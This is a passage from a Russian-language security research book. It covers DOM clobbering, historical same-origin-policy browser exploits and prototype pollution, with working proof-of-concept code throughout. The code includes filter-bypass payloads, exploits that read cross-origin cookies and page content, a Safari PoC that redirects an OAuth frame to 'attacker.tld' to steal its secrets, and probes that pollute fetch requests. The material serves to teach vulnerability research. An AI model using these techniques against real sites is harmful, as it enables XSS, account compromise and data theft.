Но возникает проблема. Как отмечалось выше, управлять `toString` элементов, отличных от ссылок, нельзя, поэтому `z` здесь будет равно `[object HTMLInputElement]`. Чтобы перезаписывать свойства глубже трёх уровней, нужно использовать допустимые атрибуты HTML, которые одновременно являются допустимыми свойствами DOM.

Рисунок 90. Перезапись четырёх уровней

```
<form id=x name=y><input id=z value=1337></form>
<form id=x></form>
<script>
alert(x.y.z.value)//1337
</script>
```

Из этого правила есть исключение, связанное с `iframe`. У фреймов можно использовать `srcdoc` и `name`. Перезаписанное значение находится в объекте окна фрейма, поэтому фреймы и другие элементы можно соединять в цепочку и перезаписывать свойства на сколь угодно большой глубине. Единственный недостаток: фильтр HTML, скорее всего, заблокирует `iframe`.

Рассмотрим пример. Сначала создадим фрейм и через `srcdoc` поместим внутрь него элемент.

Рисунок 91. Перезапись с помощью фреймов

```
<iframe name=foo srcdoc="<a id=bar href=clobbered:1337></a>"></iframe>
<script>
alert(foo)//[object Window]
alert(foo.bar)//undefined
</script>
```

Переменная `foo` перезаписана объектом окна фрейма. Поскольку источник тот же, содержимое фрейма позволяет продолжить перезапись. Но почему `foo.bar` равно `undefined`? Для отрисовки `srcdoc` требуется время, которого не хватает, чтобы отобразить содержимое и перезаписать свойство ссылкой. К счастью, я нашёл обход: междоменный импорт стилей создаёт достаточную задержку для отрисовки элемента внутри фрейма.

Рисунок 92. Задержка чтения свойств импортом таблицы стилей

```
<iframe name=foo srcdoc="<a id=bar href=clobbered:1337></a>"></iframe>
<style>
@import 'https://garethheyes.co.uk';
</style>
<script>
alert(foo)//[object Window]
alert(foo.bar)//clobbered:1337
</script>
```

Таким способом можно перезаписать сколько угодно свойств, если у элементов есть достаточно времени для отрисовки. Однако при задании атрибутов вложенных фреймов набор кавычек ограничен: после использования определённого вида кавычек повторно применить его нельзя. Решение - HTML-кодирование, позволяющее кодировать содержимое `srcdoc` столько раз, сколько требуется. Да, вы всё поняли правильно: внутри `srcdoc` можно использовать HTML-сущности для отрисовки HTML.

Попробуем перезаписать пять свойств. Сначала нужен фрейм с `name`, равным имени первого свойства, и `srcdoc` в двойных кавычках. Затем создаётся второй фрейм для второго свойства, где `srcdoc` в одинарных кавычках создаёт ещё один вложенный фрейм с третьим свойством. После этого `srcdoc` без кавычек создаёт перезаписывающие ссылки. Из-за вложенных `srcdoc` HTML-кодирование нужно повторить столько раз, какова глубина вложения. Снова потребуется блок стилей, дающий фреймам время на отрисовку. После всего этого можно перезаписать `a.b.c.d.e`.

Рисунок 93. Глубокая перезапись через `srcdoc`

```
<iframe name=a srcdoc="
<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;
    href=clobbered:1337&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></
    iframe>
<style>@import '//garethheyes.co.uk';</style>
<script>
alert(a.b.c.d.e)//clobbered:1337
</script>
```

4.3.1. Эксплуатация фильтров

У перезаписи DOM есть и другие способы эксплуатации: управление значением лишь один из них. Можно перезаписать свойство `attributes` узла DOM и обмануть фильтр, чтобы он вообще не удалил атрибуты. В следующем примере форма имеет три атрибута. Сценарий перебирает их от последнего к первому, проверяет, начинается ли имя с `on`, и при совпадении удаляет атрибут.

Рисунок 94. Нарушение работы фильтров с помощью перезаписи DOM

```
<form id=x onclick=alert(1) onmouseover=alert(2)>
<input>
</form>
<script>
for(let i=document.getElementById('x').attributes.length-1;i>=0;i--) {
    let attribute = document.getElementById('x').attributes[i];
    if(!/^on/i.test(attribute.name)){
        continue;
    }
    document.getElementById('x').removeAttribute(attribute.name);
}
</script>
```

Сценарий перебирает атрибуты через свойство attributes. К сожалению, это свойство можно перезаписать дочерним узлом с именем attributes. Тогда вместо свойства атрибутов сценарий получает перезаписанный элемент input, чья длина равна undefined, и цикл не выполняет ни одной итерации. Злоумышленник может протащить вредоносные события и нарушить фильтрацию.

Возможности не ограничены attributes: перезаписываются и такие свойства DOM, как tagName и nodeName. Представьте фильтр с перечнем запрещённых тегов, удаляющий, например, form. В форму можно внедрить input с атрибутом name, равным tagName или nodeName. При обращении фильтр получит перезаписанный элемент input и вернёт неверное значение.

Рисунок 95. Перезапись nodeName

```
<form id=x>
<input name=nodeName>
</form>
<script>
alert(document.getElementById('x').nodeName)//[object HTMLInputElement]
</script>
```

Даже parentNode не защищено. Его можно перезаписать тем же способом, и для формы вернётся неверный родительский узел. Если фильтр на основе DOM обходит элементы через parentNode, nextSibling, previousSibling и подобные свойства, он пойдёт по неверным элементам и отфильтрует не те узлы DOM.

4.3.2. Перезапись document.getElementById()

Этот недавно найденный мною приём позволяет перезаписывать результат вызова document.getElementById(). Если элемент с id=x существует в двух экземплярах, в большинстве случаев getElementById() возвращает первый.

Однако я обнаружил, что элемент <html> или <body> меняет порядок DOM. Атрибуты повторяющихся тегов объединяются, вследствие чего getElementById() возвращает <html> либо <body>, в зависимости от использованного элемента.

Рисунок 96. Перезапись результата getElementById() **тегом** body

```
<div id="x"></div>
<body id="x">
<script>
alert(document.getElementById('x'))
</script>
```

Это можно эксплуатировать, когда сайт защищён CSP, а внедряемый HTML находится после всех интересующих элементов. Приём позволяет перезаписать существующие узлы и заставить getElementById() вернуть ваш элемент, что в зависимости от действий сайта может привести к XSS. Я нашёл этот способ при проверке известного крупного сайта. В начале дерева DOM рядом с body находился невидимый div, управлявший доменом CDN. Позднее домен использовался в сценарии Service Worker, который вызывал importScript() внутри Service Worker.

4.3.3. Перезапись document.querySelector()

Тот же приём работает с результатом document.querySelector(). Если сайт ищет первый элемент с определённым именем класса, DOM перестраивается, и вместо него возвращается внедрённый <html> или <body>.

Рисунок 97. Перезапись результата `querySelector()` тегом `body`

```
<div class="x"></div>
<body class="x">
<script>
alert(document.querySelector('.x'))
</script>
```

4.4. Итоги

В этой главе мы рассмотрели множество интересных вещей. Сначала нашли разные способы получить объект `window` из узла DOM. Затем изучили области видимости событий DOM и узнали, что каждому событию доступны не только свойства элемента, но и область видимости документа. В завершение мы подробно разобрали перезапись DOM и различные варианты атак, а также убедились, насколько трудно написать фильтр, безопасно обходящий DOM.

Глава 5. Эксплойты браузеров

5.1. Введение

Книга о хакинге JavaScript не может обойтись без главы об эксплойтах браузеров, верно? Здесь я расскажу о различных эксплойтах, найденных мною за многие годы. Я занимаюсь хакингом браузеров, главным образом в свободное время, уже более пятнадцати лет. За это время мне удалось обнаружить обход SOP (same-origin policy, политики одинакового источника) или утечку информации в каждом крупном браузерном движке.

Хакинг браузеров - очень узкая область исследований, но он чрезвычайно увлекателен и даёт огромный объём знаний, применимых в других областях. Ошибки рассматриваются не в порядке их обнаружения: мы начнём с простых и постепенно дойдём до более сложных способов обхода SOP.

5.2. Неправильная обработка междоменных URL в Firefox

Эта ошибка была чрезвычайно простой, и меня удивило, что автоматические тесты Mozilla её не обнаружили. Я нашёл её, проверяя окна из других источников: создавал новые окна и исследовал междоменные объекты в консоли браузера или инспекторе Hackvertor. Идея состояла в том, чтобы после вызова `window.open` получить ссылку на новое окно, изучить объект и проверить, не раскрываются ли данные, которые должны быть недоступны.

Возвращаемое значение `window.open` - объект нового окна, отличающийся от привычного объекта `window`. Многие свойства недоступны и при чтении вызывают исключение. Причина очевидна: если открыть окно другого источника и получить доступ ко всем его свойствам, можно украсть данные любого сайта и скомпрометировать все ваши учётные записи.

Эксплойт был до смешного прост: открыть новое окно, подождать пять секунд и попытаться прочитать объект `location`. Обычно это вызывает исключение, но Firefox разрешал чтение. Поначалу я решил, что проблема связана с одним из методов `RegExp`, однако оказалось, что достаточно прочитать результат `toString()` объекта `location`.

Рисунок 98. Эксплойт Firefox, читающий междоменный объект `location`

```
<script>
function poc() {
    var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=200');
  setTimeout(function(){
    alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
  }, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">
```

Доказательство концепции открывало новое окно по адресу `twitter.com/lists`, что приводило к перенаправлению на персонализированный URL. Затем код ждал пять секунд, читал `location` и извлекал имя пользователя Twitter регулярным выражением. После этого он показывал окно `alert`, идентифицируя пользователя.

Первоначальное описание ошибки

5.3. Присваивания междоменным именам хостов в Safari

В прежние времена взламывать браузеры было гораздо легче. Эта ошибка Safari хорошо это показывает. Она связана с изменением имени хоста междоменного объекта `location`. Проблема в том, что Safari сохранял строку запроса и фрагмент, а они могли содержать конфиденциальные данные. Если бы ошибку нашли сегодня, наиболее вероятной целью стали бы токены OAuth. Для эксплуатации требовалось открыть новое окно или фрейм, дождаться загрузки, изменить имя хоста, а затем прочитать параметры запроса или фрагмент с домена злоумышленника.

Рисунок 99. Safari позволял менять имя хоста междоменного объекта `location`

```
<script>
function poc(iframe) {
   var win = iframe.contentWindow;
   setTimeout(function(){
    win.location.hostname='attacker.tld'
   } , 5000);
}
</script>
<iframe src="https://oauth.example.com" onload=poc(this)></iframe>
```

Код загружает фрейм, который выполняет некоторую аутентификацию и сохраняет конфиденциальные данные в строке запроса. После перенаправления и загрузки страницы целевого сайта вызывается `poc()`, получающая ссылку на фрейм, а через неё - объект его междоменного окна.

Через пять секунд злоумышленник меняет имя хоста фрейма на собственный домен, после чего считывает там `location.search` и крадёт секреты.

Рисунок 100. Чтение свойства `location.search`

```
<script>
var contents = location.search//содержит секреты из строки запроса
</script>
```

В современных браузерах это уже невозможно: они разумно запрещают чтение и запись свойств `host` и `hostname` другого источника.

5.4. Полный обход SOP в Internet Explorer

Я нашёл эту ошибку, когда по контракту с Microsoft проверял различные возможности IE. Мне нравится эта ошибка: она очень проста, но имеет огромные последствия. С её помощью можно было выполнить произвольный JavaScript на любом домене. И снова задействованы окна и фреймы. Ужас какой. Вы уже замечаете закономерность?

IE раскрывал конструктор из другого источника. Иными словами, конструктор `Function` разрешалось вызывать из другого домена.

Возникает хороший вопрос: как это определить? Убедиться, что внедрение происходит в другом контексте, очень трудно, поскольку браузер не предоставляет соответствующего API. Остаётся попытаться прочитать свойство, которое покажет выполнение кода из другого домена. Одно из таких свойств - `document.domain`.

Рисунок 101. Доступ к конструктору `Function` **через** `constructor`

```
foo.constructor.constructor('alert(document.domain)')();
```

Если появляется окно `alert` с другим доменом, это хороший признак обхода SOP. Однако, как мы увидим позднее, проверка не безошибочна. Я обнаружил уязвимость, экспериментируя с фреймами и инспектором Hackvertor. Я просто загрузил фрейм и стал проверять каждое свойство. Позднее я написал более удобный инспектор, поэтому для демонстрации воспользуемся им. Порядок проверки:

1. Откройте Hackability.
2. Обратите внимание на доступные для перечисления свойства.
3. Щёлкайте каждое свойство, переходя вглубь объекта.
4. Попытайтесь получить и вызвать конструктор каждого свойства описанным выше способом.

Так я выяснил, что IE раскрывал междоменный конструктор через свойство `closed`. Поскольку его значение логическое, `constructor` пришлось использовать дважды: сначала для получения конструктора логического типа, затем - конструктора `Function`, выполняющего произвольный код. Выполненный код имел полный доступ к междоменному объекту окна, включая файлы cookie и любые свойства DOM. Полный эксплойт выглядел так.

Рисунок 102. Доступ к конструктору `Function` через `constructor`

```
<iframe src="https://garethheyes.co.uk"
onload="this.contentWindow.closed.constructor.constructor('alert(document.cookie')()">
</iframe>
```

Эксплойт не ограничивался фреймами: атаку можно было провести и через новые окна.

5.5. Частичная утечка информации через SOP в Chrome

Эту ошибку я нашёл сравнительно недавно. К тому времени мне уже удалось взломать каждый крупный браузерный движок, поэтому было приятно найти работающий вариант для Chrome. Ошибка оставалась незамеченной около пяти лет. Она связана с обработкой `document.baseURI` во вложенных фреймах из разных поддоменов. При обращении к этому свойству из вложенного фрейма Chrome сообщал `baseURI` родителя. Обычно это несущественно, поскольку объект `document` междоменного окна недоступен, из-за чего ошибка так долго оставалась скрытой. Однако получить свойство всё же было возможно, и тогда раскрывался полный URL межсайтового фрейма.

Ошибку я снова искал инспектором Hackability, экспериментируя с векторами через имя окна. Если вы не знаете, имя окна можно задать, а после перехода на другой домен прочитать. Браузеры стараются ограничить эту возможность во избежание утечки информации, но защитные меры не распространяются на фреймы.

Я открыл Hackability Inspector, добавил в DOM фрейм и направил его на другой поддомен, где также загрузился инспектор. Теперь обе консоли позволяли проверять правильность защиты междоменных окон. Внутрь междоменного фрейма я добавил ещё один, а затем попытался читать и изменять свойство `name` этих фреймов. Браузер выдавал исключения, что, конечно, нам не подходило. Тогда я вспомнил, что междоменному фрейму можно назначить другой URL: владельцем фрейма становится источник, выполнивший присваивание.

Я изменил URL вложенного фрейма на `about:blank` и, к своему удивлению, смог читать и записывать имя окна. Само по себе это ещё не уязвимость, но полезный компонент потенциально более серьёзной ошибки. На такие компоненты стоит обращать внимание.

Затем я стал перебирать свойства междоменного объекта окна вложенного фрейма. Ничего полезного в нём не нашлось, однако я вспомнил, что сведения об URL имеются в `document`, и начал исследовать его. К моему удивлению, `document.baseURI` показывало неверный URL.

Вместо about:blank возвращался адрес родителя. Это утечка SOP: одному источнику нельзя читать подобные свойства другого. Сначала я подумал, что ошибка позволяет читать любой домен, но оказалось, что доступны лишь разные поддомены. Уязвимость всё равно серьёзна: например, у почтового клиента может существовать поддомен вложений, которому нельзя разрешать читать другой поддомен.

Свойство baseURI возвращает полный URL, включая строку запроса и фрагмент другого поддомена. Исходная страница содержала следующий код.

Рисунок 103. Утечка родительского URL через baseURI

```
index.html:
<script>
onload = function(){
    x.contentWindow[0].location = 'about:blank';setTimeout(()=>alert(x.contentWindow[0].
    document.baseURI), 500)
};
</script>

<iframe id=x src="//subdomain1.portswigger-labs.net/chrome-infoleak-sWpsDfkg9102/target.
    html"></iframe>
```

Ниже показана страница во фрейме. Обратите внимание, что фрагмент изменён и это изменение мог прочитать верхний фрейм другого источника.

Рисунок 104. Изменение URL, демонстрирующее утечку

```
target.html:
<script>location.hash=1337</script>
<iframe src="/foo"></iframe>
```

Первоначальное описание ошибки

5.6. Полный обход SOP в Safari

В этом случае я сообщил Apple об ошибке, которую компания отвергла как незначительную и непригодную для эксплуатации. Я дождался следующей версии Safari, а затем не спал 23 часа, пытаясь построить эксплойт. Не советую повторять: это вредно для здоровья. Но тогда мне хотелось доказать Apple её неправоту, и я это сделал, что принесло огромное удовлетворение.

Здесь снова используются фреймы, вы ведь уже заметили закономерность, с URL about:blank. После загрузки фрейма я получаю ссылку на его document, а затем записываю в документ ещё один фрейм. Новый фрейм направляется на другой домен; для демонстрации я выбрал Amazon.

Стоит помнить, что это было до появления кликджекинга и тогда во фрейме можно было буквально открыть любой сайт. После загрузки самого внутреннего фрейма я получал ссылку на него из внешнего фрейма. Затем удавалось прочитать cookie Amazon и HTML, полностью обойдя SOP. Вот полный эксплойт.

Рисунок 105. Обход SOP с помощью вложенных фреймов

```
<script>
function breakSandbox() {
    var doc = window.frames.loader.document;
    var html = '';
    html += '<p>test</p><iframe src="http://www.amazon.co.uk/" id="iframe" name="iframe"
    onload="alert(window.frames.iframe.document.getElementsByTagName(\'body\')[0].
    innerHTML);alert(window.frames.iframe.document.cookie);"></iframe>';
    doc.body.innerHTML = html;
}
</script>
<iframe src="about:blank" name="loader" id="loader" onload="breakSandbox()"></iframe>
```

Спустя годы видно, что код можно значительно сократить, а для получения междоменного окна воспользоваться `contentWindow`. Тем не менее это полный обход SOP, позволявший данным способом читать даже файловую систему. Я весьма горжусь этой сокрушительной ошибкой.

Первоначальное описание ошибки

5.7. Обход SOP в Opera

Это моя любимая из всех найденных мною ошибок браузеров. Она показывает, как обойти SOP совершенно неожиданным способом. Помните, ранее я говорил, что `document.domain` помогает установить наличие междоменного окна? При обнаружении этой ошибки проверка не сработала: браузер выдал исключение, запрещавшее доступ к объекту. Но на этом всё не закончилось. Я всё равно нашёл способ выполнить произвольный JavaScript в другом домене.

Я начал проверять Opera. Это была версия на Presto, до ответвления Blink. Я пользовался собственным переборщиком Astalanumerator, созданным ещё до Hackability Inspector. Для ваших исследований рекомендую Hackability Inspector. Я создал фрейм с внешним адресом и перебрал все свойства. В `contentWindow` ничего интересного не нашлось, поэтому я перешёл к междоменному объекту `location`. Он сразу привлёк внимание: Opera, похоже, раскрывала гораздо больше свойств, чем другие браузеры. Если встретите подобное, это хороший признак возможных ошибок.

Я применил обычный приём `constructor.constructor('alert(document.domain)')()`, но, к моему удивлению, получил исключение JavaScript. Это необычно: как правило, при наличии конструктора код всё равно выполняется, пусть и в контексте текущего источника. Исключение стало весомым признаком того, что Opera разрешает доступ к междоменному конструктору.

Поразмыслив над исключением, я решил попробовать выражение с числовыми литералами. Если оно не выдаст исключения, значит предыдущий код блокируется из-за вызова `alert` или доступа к `document`. И действительно, `constructor.constructor('return 1+1')()` вернуло `2`. Я пришёл в восторг: ошибка уже была найдена, но как выполнить произвольный код в другом домене? Я снова задумался. Если литералы разрешены, возможно, запрещён только доступ к глобальным объектам? Тогда я переопределил метод прототипа `Array`. Важно, что я лишь определил функцию и не пытался её вызвать. Из консоли браузера я вызвал `[].join` в другом домене, и тут произошло чудо: появилось прекрасное окно `alert` с содержимым внешнего домена. Полагаю, именно так чувствуешь себя, забив гол на чемпионате мира. Я был счастлив: SOP Opera оказалась полностью обойдена. Окончательное доказательство концепции выглядело так.

Рисунок 106. Обход SOP с помощью вложенных фреймов

```
iframe.contentWindow.location.constructor.prototype
.__defineGetter__.constructor('[].constructor.
prototype.join=function(){alert("PWND:"+document.body.innerHTML)}')();
```

Opera раскрывала конструктор в нескольких местах. Этот эксплойт берёт из междоменного `location` свойство `__defineGetter__`. Поскольку оно уже является функцией, несколько обращений к `constructor` не требуются. Вектор наверняка можно было сократить, например использовать `__proto__` вместо `constructor.prototype`, но я остановился на первой успешной попытке.

Первоначальное описание ошибки

Видео с демонстрацией ошибки

5.8. Итоги

Надеюсь, глава вам понравилась: мне очень понравилось её писать. Я люблю искать изъяны SOP, потому что это серьёзная техническая задача, а успешное открытие вызывает настоящий восторг. Надеюсь, глава вдохновит вас искать собственные ошибки современных браузеров. Мы рассмотрели ошибочную обработку междоменного `location` в Firefox, которую было элементарно эксплуатировать. Затем поговорили о Safari и о том, почему разрешать присваивание свойствам `host` или `hostname` междоменного `location` - плохая идея. Следующим был IE с изящным полным обходом SOP, позволявшим выполнить произвольный JavaScript на любом домене. После него мы разобрали утечку Chrome и чтение URL разных поддоменов через вложенные фреймы. Затем эксплойт Safari показал, как читать cookie и HTML любого домена. Наконец, я завершил рассказ любимой ошибкой, где методы прототипов позволяли выполнить произвольный JavaScript, когда сайт использовал один из встроенных прототипов.

Глава 6. Загрязнение прототипа

6.1. Введение

Уязвимость загрязнения прототипа возникает при небезопасном рекурсивном слиянии, когда один или несколько объектов доступны для управления. В ходе рекурсивного слияния код часто небезопасно использует ключи свойств, что приводит к непредусмотренным присваиваниям. Например, в JavaScript есть волшебное свойство `__proto__`. В действительности это геттер и сеттер, позволяющий получить и изменить прототип объекта. Если управляемый объект может использовать данное свойство, рекурсивная функция слияния изменит один из глобальных прототипов, чаще всего `Object.prototype`. Тогда злоумышленник получает контроль над неожиданными свойствами, которые разработчик считает безопасными. Это способно привести к DOM XSS на стороне клиента или даже к удалённому выполнению кода на сервере.

Обычно создать обыкновенное собственное свойство `__proto__` нельзя, поскольку, как уже сказано, это геттер и сеттер. Однако при использовании `JSON.parse` ключ `__proto__` создаёт обычное свойство, и это один из компонентов, ведущих к загрязнению прототипа. Различие показывает следующий код.

Рисунок 107. Различное поведение `__proto__` при использовании `JSON.parse()`

```
({__proto__:"foo"}).hasOwnProperty('__proto__')//false
(JSON.parse('{"__proto__":"foo"}')).hasOwnProperty('__proto__')//true
```

Когда уязвимая функция слияния перебирает объект, обычное свойство `__proto__` становится доступным для использования. Но при попытке присвоить его целевому объекту оно снова действует как сеттер, что и вызывает загрязнение прототипа. Следует отметить, что `__proto__` - не единственный вектор атаки, хотя и самый распространённый. Существует альтернатива: `__proto__` по сути служит сокращением для `constructor.prototype`. Если рекурсивное слияние допускает достаточно много ключей, свойства `constructor.prototype` также позволяют загрязнить прототип. Разобрав основы возникновения уязвимости, перейдём к её эксплуатации.

6.1.1. Метод

Метод означает способ загрязнения прототипа: например, применяется ли `__proto__`, `constructor.prototype` или какой-либо новый приём.

6.1.2. Источник

Источник загрязнения прототипа - внедрение, необходимое для возникновения уязвимости. Он складывается из метода, имени свойства и места поступления данных, например JSON, строки запроса или фрагмента. Совокупность этих компонентов я называю источником загрязнения прототипа:

```
?__proto__[property]=value
```

6.1.3. Гаджет

Гаджетом называется ситуация, когда загрязнённое свойство используется в интересном месте, например в `eval`, другом методе или присваивании, способном привести к уязвимости. Свойство становится гаджетом, когда достигает уязвимого приёмника.

6.1.4. Потенциальный гаджет

Если вы нашли свойство, которым можно управлять через загрязнение прототипа, но ещё не установили, достигает ли оно подходящего приёмника, его можно назвать потенциальным гаджетом загрязнения прототипа.

6.2. Загрязнение прототипа на стороне клиента

Существуют две формы загрязнения прототипа: на стороне клиента и сервера. Этот раздел посвящён клиентской форме. Обычно её эксплуатируют ради DOM XSS: проверяют, позволяет ли сайт добавлять свойства к прототипу `Object`, а затем выясняют, достигает ли свойство приёмника, через который можно управлять произвольным JavaScript или HTML.

6.2.1. Поиск загрязнения прототипа

Определив термины, можно приступить к поиску. Достаточно внедрить вектор и через консоль браузера проверить результат. Представьте, что сайт разрешает передавать имена и значения свойств в строке запроса, а используемая им библиотека выполняет уязвимое слияние. В строку запроса можно внедрить пробу, пытающуюся задать свойство прототипа `Object`:

```
?__proto__[foo]=bar
```

После загрузки страницы исследуйте `Object.prototype` в консоли браузера.

Рисунок 108. Исследование `Object.prototype` через консоль

```
console.log(Object.prototype)
//{foo: 'bar', constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ,
    ...}
```

Если в `Object.prototype` появилось свойство `foo`, вы успешно обнаружили загрязнение прототипа на стороне клиента. Искать его можно не только через `__proto__`, но и через свойства `constructor[prototype]`, которые по существу дают тот же результат. Этот способ встречается реже, поскольку требует трёх ключей, тогда как сайты часто обрабатывают только два. Проверка проводится так же, но `__proto__` заменяется на `constructor[prototype]`:

```
?constructor[prototype][foo]=bar
```

Если сайт уязвим для этого метода, прототип объекта будет изменён.

Рисунок 109. `Object.prototype` после загрязнения

```
console.log(Object.prototype)
//{foo: 'bar', constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ,
    ...}
```

Разные библиотеки по-разному разбирают строку запроса. Мне встречались сайты, использовавшие точки. Для их проверки удалите квадратные скобки и разделите ключи свойств точками:

```
?__proto__.foo=bar
```

Стоит проверить и фрагмент URL: некоторые сайты разбирают его как параметры запроса. Перебор всех сочетаний со строкой запроса и фрагментом должен выявить 99 процентов клиентских уязвимостей загрязнения прототипа.

6.2.2. Изменение встроенных методов

На уязвимом сайте вы не ограничены изменением прототипа `Object` и даже не обязаны добавлять свойство. Можно заменить один из встроенных методов глобального `Object` или других объектов. Представьте сайт, использующий `Object.keys`. Источник загрязнения вполне способен переопределить этот метод. Атака может выглядеть так:

```
?__proto__[keys]=0//Object.keys === "0"
```

Присваивание строки лишает метод функциональности. На практике такую атаку трудно эксплуатировать: собственную функцию передать нельзя, поскольку доступны только строки или типы, поддерживаемые JSON. Тем не менее приём может стать частью цепочки ошибок и направить исполнение по другому пути.

6.2.3. Встроенные API браузера

Как ни удивительно, встроенные API браузера сами уязвимы для загрязнения прототипа. Это происходит везде, где API принимает аргументом литерал объекта, что часто встречается в конфигурации.

Загрязнение прототипа нередко позволяет повлиять на значения. Например, функция `fetch()` принимает первым параметром строку или объект запроса, а вторым - объект параметров. Если сайт не задал определённое свойство объекта запроса или параметров, на него можно повлиять через прототип. Как всегда, лучше показать это примером.

Рисунок 110. Загрязнение встроенных объектов вроде `Request`

```
Object.prototype.body='foo=bar'
const request = new Request('/myEndpoint', {
  method: 'POST',
});
fetch(request);
```

Код создаёт через `Request` запрос для `fetch()`. Поскольку у объекта `Request` не определено собственное свойство `body`, им можно управлять через унаследованное загрязнённое свойство. Отправленный POST-запрос получит тело `foo=bar`. Тот же способ работает со вторым параметром `fetch()`.

Рисунок 111. Загрязнение встроенных объектов вроде `Request`

```
Object.prototype.body='foo=bar';
const init = {
  method: 'POST'
};
fetch('/end-point', init)
```

Любой API с управляемыми пользователем объектами уязвим при условии наследования свойств. Можно даже отправлять собственные заголовки.

Рисунок 112. Загрязнение объекта параметров `fetch`

```
Object.prototype.headers={foo:'bar'};
const init = {
  method: 'POST',
};
fetch('/end-point', init)
```

Этот пример отправляет заголовок `foo` со значением `bar`. Подобные приёмы полезны в цепочках ошибок, когда загрязнение прототипа найдено, но DOM XSS нет. Например, загрязнение можно связать с CSRF через `fetch()` или с другими уязвимостями.

Уязвимы и методы ES5 вроде `defineProperty()`. Первым параметром функции передаётся целевой объект, вторым - имя свойства, третьим - дескриптор, то есть обычный литерал объекта.

Этот литерал можно загрязнить. Некоторые его свойства необязательны и по умолчанию равны `false`, что создаёт идеальные условия для атаки. Сначала посмотрим на обычное применение функции.

Рисунок 113. Использование `defineProperty()`

```
let obj = {};
Object.defineProperty(obj, 'foo', {configurable:false, writable: false, value:123});
```

Мы определяем свойство `foo` и делаем его ненастраиваемым, поэтому повторно определить его через `defineProperty()` нельзя. Значение `writable` запрещает перезапись. Однако эти свойства необязательны и по умолчанию равны `false`. Снова рассмотрим пример, опустив их в дескрипторе.

Рисунок 114. `defineProperty()` **делает** `foo` **доступным только для чтения**

```
let obj = {};
Object.defineProperty(obj, 'foo', {value:123});

obj.foo//123
obj.foo=0;
obj.foo//123
```

Поскольку `configurable` и `writable` опущены, движок предполагает значение `false`. Но, как мы видели на примере `fetch()`, свойства могут наследоваться. Следовательно, загрязнение прототипа позволяет изменить поведение `defineProperty()`.

Рисунок 115. Перезапись свойств вследствие загрязнения прототипа

```
Object.prototype.configurable=true;
Object.prototype.writable=true;

let obj = {};
Object.defineProperty(obj, 'foo', {value:123});

obj.foo//123
obj.foo='overwritten';
obj.foo//overwritten
```

Поведение определённого свойства изменилось: теперь значение можно заменить, несмотря на отсутствие полей дескриптора. Похоже на проблему спецификации: встроенные API не должны использовать унаследованные свойства, ведь это приводит к загрязнению прототипа. Но сомневаюсь, что положение исправят, поскольку наследование лежит в основе JavaScript.

Подобное происходит и в других местах. Например, можно загрязнять ловушки прокси, хотя из-за требования передавать функцию ущерб ограничивается исключениями JavaScript.

Даже `localStorage` уязвим при условии, что сайт использует форму геттера, а не метод `getItem()`. Разработчики часто пишут `localStorage.foo`, поскольку это удобно. Но такое обращение наследует свойства `Object.prototype`, а значит, свойством можно управлять через загрязнение прототипа, получая потенциальный гаджет.

Рисунок 116. Возможная уязвимость `localStorage` для загрязнения прототипа

```
if(localStorage.foo) {
   let foo = localStorage.foo;
}
```

Код создаёт потенциальный гаджет `foo`. Проверка наличия свойства и последующее чтение оба выполняются через геттер, поэтому их можно загрязнить.

6.2.4. Поиск гаджетов

Итак, загрязнение прототипа и потенциальный гаджет найдены. Как определить настоящий гаджет? Прежде всего необходимо выполнить собственный JavaScript до сценария страницы. Это можно сделать через прокси, например Burp, добавив инструкцию `debugger` раньше любого другого кода. Специальная команда `debugger` вызывает отладчик JavaScript, обычно DevTools. Когда исполнение достигает её, оно приостанавливается, и вы можете ввести собственный JavaScript в отладчике. Чтобы проверить потенциальный гаджет, используйте `Object.defineProperty()` и снимайте трассировку стека при каждом обращении к геттеру свойства.

Рисунок 117. Проверка потенциального гаджета через `defineProperty`

```
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
    console.trace();
    return 'test';
}})
```

По трассировке можно найти участок исходного кода, использующий свойство, и проверить, попадает ли значение в уязвимый приёмник. Существуют инструменты, автоматизирующие процесс. Я написал DOM Invader, который обнаруживает источники и гаджеты загрязнения прототипа. Это расширение встроенного браузера Burp Suite.

6.3. Загрязнение прототипа на стороне сервера

Клиентское загрязнение прототипа обнаружить сравнительно легко, поскольку исходный код доступен. На сервере это гораздо труднее: загрязнение происходит там, а исходного кода обычно нет. При отказе в обслуживании проблема усугубляется. После клиентского DoS достаточно обновить страницу, тогда как серверный DoS способен вывести приложение из строя для вас и других пользователей; нередко помогает лишь перезапуск процесса Node.

При наличии исходного кода всё намного проще. На сервере действуют те же принципы: по-прежнему существуют метод, источник и гаджет. Если вы управляете процессом Node и самостоятельно размещаете приложение, успешное загрязнение можно проверять даже тем же способом, через консоль браузера. Для этого особенно важны два параметра командной строки Node:

1. `--inspect`
2. `--inspect-brk`

Первый разрешает отлаживать приложение Node через DevTools. Добавьте параметр при запуске:

```
node --inspect your-app.js
```

Затем откройте в Chrome:

```
chrome://inspect/
```

Если процесс Node запущен правильно, появится удалённая цель. Открыв её инспектор, вы получите консоль. Как и на клиенте, через неё можно исследовать `Object.prototype`. Работают даже трассировки стека, поэтому описанный выше приём с `Object.defineProperty()` покажет точную строку обращения к свойству.

Иногда нужно отладить часть приложения, которая уже выполнилась и была пройдена отладчиком. Здесь помогает `--inspect-brk`: процесс Node приостановится до выполнения приложения, что чрезвычайно удобно при поиске гаджетов. Снова подключитесь Chrome по тому же адресу, а затем пошагово выполняйте или продолжайте программу и ставьте собственные точки останова.

Очень полезен и поиск DevTools по всему сайту. Открыв удалённую консоль, можно искать во всех выполняющихся приложениях Node. Щёлкните три точки справа в окне DevTools и выберите пункт Search. Так можно искать потенциальные гаджеты. В сочетании с описанным методом `defineProperty()` это помогает их выявлять.

6.3.1. Обнаружение SSPP методом чёрного ящика

